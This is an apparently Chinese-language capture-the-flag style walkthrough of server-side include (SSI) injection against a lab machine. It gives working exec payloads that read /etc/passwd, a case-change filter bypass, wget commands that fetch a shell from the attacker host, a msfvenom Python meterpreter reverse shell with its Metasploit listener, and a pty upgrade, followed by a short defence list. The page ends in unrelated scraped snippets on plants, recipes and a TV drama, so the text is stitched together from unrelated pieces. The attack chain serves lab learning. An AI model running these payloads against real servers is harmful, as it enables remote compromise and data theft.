如何从外部进入主机?
SSI(server side inject)的出现是为了赋予HTML静态页面动态的效果,通过SSI来执行系统命令;并返回对应的结果。
如果再网站目录中发现了`.stm;.shtm;.shtml;`这样的文件后缀名,并且网站对于SSI的输入没有做到严格过滤或者过滤不充分;很有可能被SSI注入攻击。
①显示服务器端环境变量<#echo>
本文档名称:
<!–#echo var="DOCUMENT_NAME"–>
现在时间:
<!–#echo var="DATE_LOCAL"–>
显示IP地址:
<! #echo var="REMOTE_ADDR"–>
②将文本内容直接插入到文档中<#include>
<! #include file="文件名称"–>
<!--#include virtual="index.html" -->
<! #include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
③显示WEB文档相关信息<#flastmod><#fsize>(如文件 *** 日期/大小等)
文件最近更新日期:
<! #flastmod file="文件名称"–>
文件的长度:
<!–#fsize file="文件名称"–>
④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->
<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>
攻击机:kali `10.0.2.4`
靶场机器:linux`10.0.2.15`
扫描主机服务信息以及服务版本
nmap -sV [ip]
可以看出靶场机器开放了80端口并且操作系统是ubuntu
快速扫描主机全部信息
nmap -T4 -A -v [ip]
既然是开启的http服务,那么就应该是可以访问的,思路就是可以在浏览器直接访问查看有没有可以利用的信息,并且扫描结果显示robots协议中发现一个信息。有时候还会在源代码中藏有信息。
这个在默认界面没有发现信息,但是robots中发现了目录 /spukcab
挨个查看,看看有无敏感信息。可以下载下来,more查看内容,发现一个可能有用的信息,根据前几次的经验,这里可能是个用户名`webmaster`;只是可能。还有就是站点根目录的位置已经得到了。
其他的暂时没有,继续探测,因为是http服务,所以可以使用nikto或者dirb进行敏感目录扫描
分析nmap、nikto扫描结果,并对结果进行分析,挖掘可利用的信息;
都进行浏览查看敏感信息,寻找可利用的位置;
挨个访问查看信息,`http://10.0.2.15/index`
上面扫描中有个SSI
还有这里,发现`.shtml`文件
猜想可能存在SSI注入,其实找了很多信息,就是为了找到这个能证明有SSI存在的标志。
继续找可以利用的信息,发现`http://10.0.2.15/index.php`
可以在这个表单提交处,这里执行SSI的命令
根据提示来利用对应的SSI注入
将上面index页面中的payload复制一下,粘贴到表单中进行提交
像这样
提交后发现之一行过滤了尖括号,第二行的exec被过滤了。而且payload也不是完整的。
绕过这个exec的过滤条件,因为是linux系统,所以首先想到的应该是大小写。而且完整的payload应当在前面有`!`
像这样
<!--#exec cmd="cat /etc/passwd" -->
比如:
列举当前目录中的文件和目录
<!--#exec cmd="ls"-->
就是可以执行一些终端命令
进一步利用,下载一个shell脚本并重命名为shell.php
<!--#exec cmd="wget http://ip/shell.txt | rename shell.txt shell.php"-->
之前使用的php *** 的webshell,这次使用python
msfvenom -p python/meterpreter/reverse_tcp lhost=10.0.2.4 lport=4444 -f raw > /root/Desktop/shell.py
启动监听,使用metasploit对4444端口进行监听
msf5 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload=> python/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.0.2.4
lhost=> 10.0.2.4
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.2.4:4444?
设置好后开始侦听4444端口
将shell.py移动到apache目录下,才可以使用IP地址的链接下载
然后需要开启apache服务`service apache2 start`
然后执行下载命令将shell下载到靶机的站点目录当中,
<!--#exec cmd="wget http://10.0.2.4/shell.py"-->
然后执行语句赋予shell执行权限再进行执行
#加权限
<!--#exec cmd="chmod 777 shell.py"-->
#执行
<!--#exec cmd="python shell.py"-->
然后看到浏览器在不断发送请求,到终端查看监听状况,发现返回了meterpreter
输入`?`可以查看当前可执行的命令
?
Core Commands
=============
? ? Command ? ? ? ? ? ? ? ? ? Description
? ? ------- ? ? ? ? ? ? ? ? ? -----------
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Help menu
? ? background ? ? ? ? ? ? ? ?Backgrounds the current session
? ? bg ? ? ? ? ? ? ? ? ? ? ? ?Alias for background
? ? bgkill ? ? ? ? ? ? ? ? ? ?Kills a background meterpreter script
? ? bglist ? ? ? ? ? ? ? ? ? ?Lists running background scripts
? ? bgrun ? ? ? ? ? ? ? ? ? ? Executes a meterpreter script as a background thread
? ? channel ? ? ? ? ? ? ? ? ? Displays information or control active channels
? ? close ? ? ? ? ? ? ? ? ? ? Closes a channel
? ? disable_unicode_encoding ?Disables encoding of unicode strings
? ? enable_unicode_encoding ? Enables encoding of unicode strings
? ? exit ? ? ? ? ? ? ? ? ? ? ?Terminate the meterpreter session
? ? get_timeouts ? ? ? ? ? ? ?Get the current session timeout values
? ? guid ? ? ? ? ? ? ? ? ? ? ?Get the session GUID
? ? help ? ? ? ? ? ? ? ? ? ? ?Help menu
? ? info ? ? ? ? ? ? ? ? ? ? ?Displays information about a Post module
? ? irb ? ? ? ? ? ? ? ? ? ? ? Open an interactive Ruby shell on the current session
? ? load ? ? ? ? ? ? ? ? ? ? ?Load one or more meterpreter extensions
? ? machine_id ? ? ? ? ? ? ? ?Get the MSF ID of the machine attached to the session
? ? migrate ? ? ? ? ? ? ? ? ? Migrate the server to another process
? ? pry ? ? ? ? ? ? ? ? ? ? ? Open the Pry debugger on the current session
? ? quit ? ? ? ? ? ? ? ? ? ? ?Terminate the meterpreter session
? ? read ? ? ? ? ? ? ? ? ? ? ?Reads data from a channel
? ? resource ? ? ? ? ? ? ? ? ?Run the commands stored in a file
? ? run ? ? ? ? ? ? ? ? ? ? ? Executes a meterpreter script or Post module
? ? secure ? ? ? ? ? ? ? ? ? ?(Re)Negotiate TLV packet encryption on the session
? ? sessions ? ? ? ? ? ? ? ? ?Quickly switch to another session
? ? set_timeouts ? ? ? ? ? ? ?Set the current session timeout values
? ? sleep ? ? ? ? ? ? ? ? ? ? Force Meterpreter to go quiet, then re-establish session.
? ? transport ? ? ? ? ? ? ? ? Change the current transport mechani ***
? ? use ? ? ? ? ? ? ? ? ? ? ? Deprecated alias for "load"
? ? uuid ? ? ? ? ? ? ? ? ? ? ?Get the UUID for the current session
? ? write ? ? ? ? ? ? ? ? ? ? Writes data to a channel
Stdapi: File system Commands
============================
? ? Command ? ? ? Description
? ? ------- ? ? ? -----------
? ? cat ? ? ? ? ? Read the contents of a file to the screen
? ? cd ? ? ? ? ? ?Change directory
? ? checksum ? ? ?Retrieve the checksum of a file
? ? chmod ? ? ? ? Change the permissions of a file
? ? cp ? ? ? ? ? ?Copy source to destination
? ? dir ? ? ? ? ? List files (alias for ls)
? ? download ? ? ?Download a file or directory
? ? edit ? ? ? ? ?Edit a file
? ? getlwd ? ? ? ?Print local working directory
? ? getwd ? ? ? ? Print working directory
? ? lcd ? ? ? ? ? Change local working directory
? ? lls ? ? ? ? ? List local files
? ? lpwd ? ? ? ? ?Print local working directory
? ? ls ? ? ? ? ? ?List files
? ? mkdir ? ? ? ? Make directory
? ? mv ? ? ? ? ? ?Move source to destination
? ? pwd ? ? ? ? ? Print working directory
? ? rm ? ? ? ? ? ?Delete the specified file
? ? rmdir ? ? ? ? Remove directory
? ? search ? ? ? ?Search for files
? ? upload ? ? ? ?Upload a file or directory
Stdapi: Networking Commands
===========================
? ? Command ? ? ? Description
? ? ------- ? ? ? -----------
? ? ifconfig ? ? ?Display interfaces
? ? ipconfig ? ? ?Display interfaces
? ? portfwd ? ? ? Forward a local port to a remote service
? ? resolve ? ? ? Resolve a set of host names on the target
Stdapi: System Commands
=======================
? ? Command ? ? ? Description
? ? ------- ? ? ? -----------
? ? execute ? ? ? Execute a command
? ? getenv ? ? ? ?Get one or more environment variable values
? ? getpid ? ? ? ?Get the current process identifier
? ? getuid ? ? ? ?Get the user that the server is running as
? ? kill ? ? ? ? ?Terminate a process
? ? localtime ? ? Displays the target system's local date and time
? ? pgrep ? ? ? ? Filter processes by name
? ? pkill ? ? ? ? Terminate processes by name
? ? ps ? ? ? ? ? ?List running processes
? ? shell ? ? ? ? Drop into a system command shell
? ? sysinfo ? ? ? Gets information about the remote system, such as OS
Stdapi: Audio Output Commands
=============================
? ? Command ? ? ? Description
? ? ------- ? ? ? -----------
? ? play ? ? ? ? ?play a waveform audio file (.wav) on the target system
?
输入shell进行利用,再查看id,发现当前登录的只是一个普通用户,而不是root用户
终端可以选择进行优化一下,就是让其显示用户名和主机名,和kali的终端形式那样。
python -c 'import pty;pty.spawn("/bin/bash")'
然后就是提权,靶场没有设置flag值,目的是为了学习SSI注入,所以就不再继续进行下去了。
对于SSI漏洞服务器有很多过滤机制,需要进行绕过,比如大小写。
防御措施:
一、进行过滤,过滤这些语法中的特殊字符
二、关闭服务器SSI相关功能
茉莉花开花洁白清香,叶子翠绿好看,养一盆在家里,简直如空气清新剂,那么茉莉花如何养才能长势茂盛开花多呢,如何给茉莉花换盆换土,该怎么移栽,才能顺利成活? 移栽栽种茉莉花,做到这一点,服盆快,开花...
爱心捐赠平台中哪个项目是帮助听障儿童的呢?这个是蚂蚁庄园2019年10月4日庄园小课堂的问题,大家知道答案吗?蚂蚁庄园小课堂答对获得180g饲料,答错获得30g饲料。下面99安卓网小编就为大家带来了今...
此刻人们的糊口程度都有了很大的提高,在饭前饭后吃一些甜点已经不是什么奇怪的工作,其实这也算是一种糊口的享受,正是各人有了需求,甜品才在市场上有了很是不错的成长,这也让许多投资者萌生了开一家甜品店的想法...
经过对已知的近800名受害者的互联网IP进行Geo分类计算,得到的计算定论如下: 端口扫描发动反向署理模块 'DB_PORT' => 3306, //端口修正postgresql...
2016年就已经上映了。《火蓝刀锋2》是衍生《火蓝刀锋》的一部电视剧,将延续第一部的风格,增加一批更有个性、更年轻。 事实上应该差不多出了明年10月开机!据悉,央视与原班主创已经开始筹划《火蓝刀锋2》...
鲜花椒焖鸡腿,其实就是鸡块儿,用鸡腿做口感好,肉多,做法也是非常简单,调料就四样,看看你们能不能看出来是那四样呢? 1、准备鸡腿一只、鲜花椒一“爪”、大葱一截,姜适量,小米辣适量。 2、小...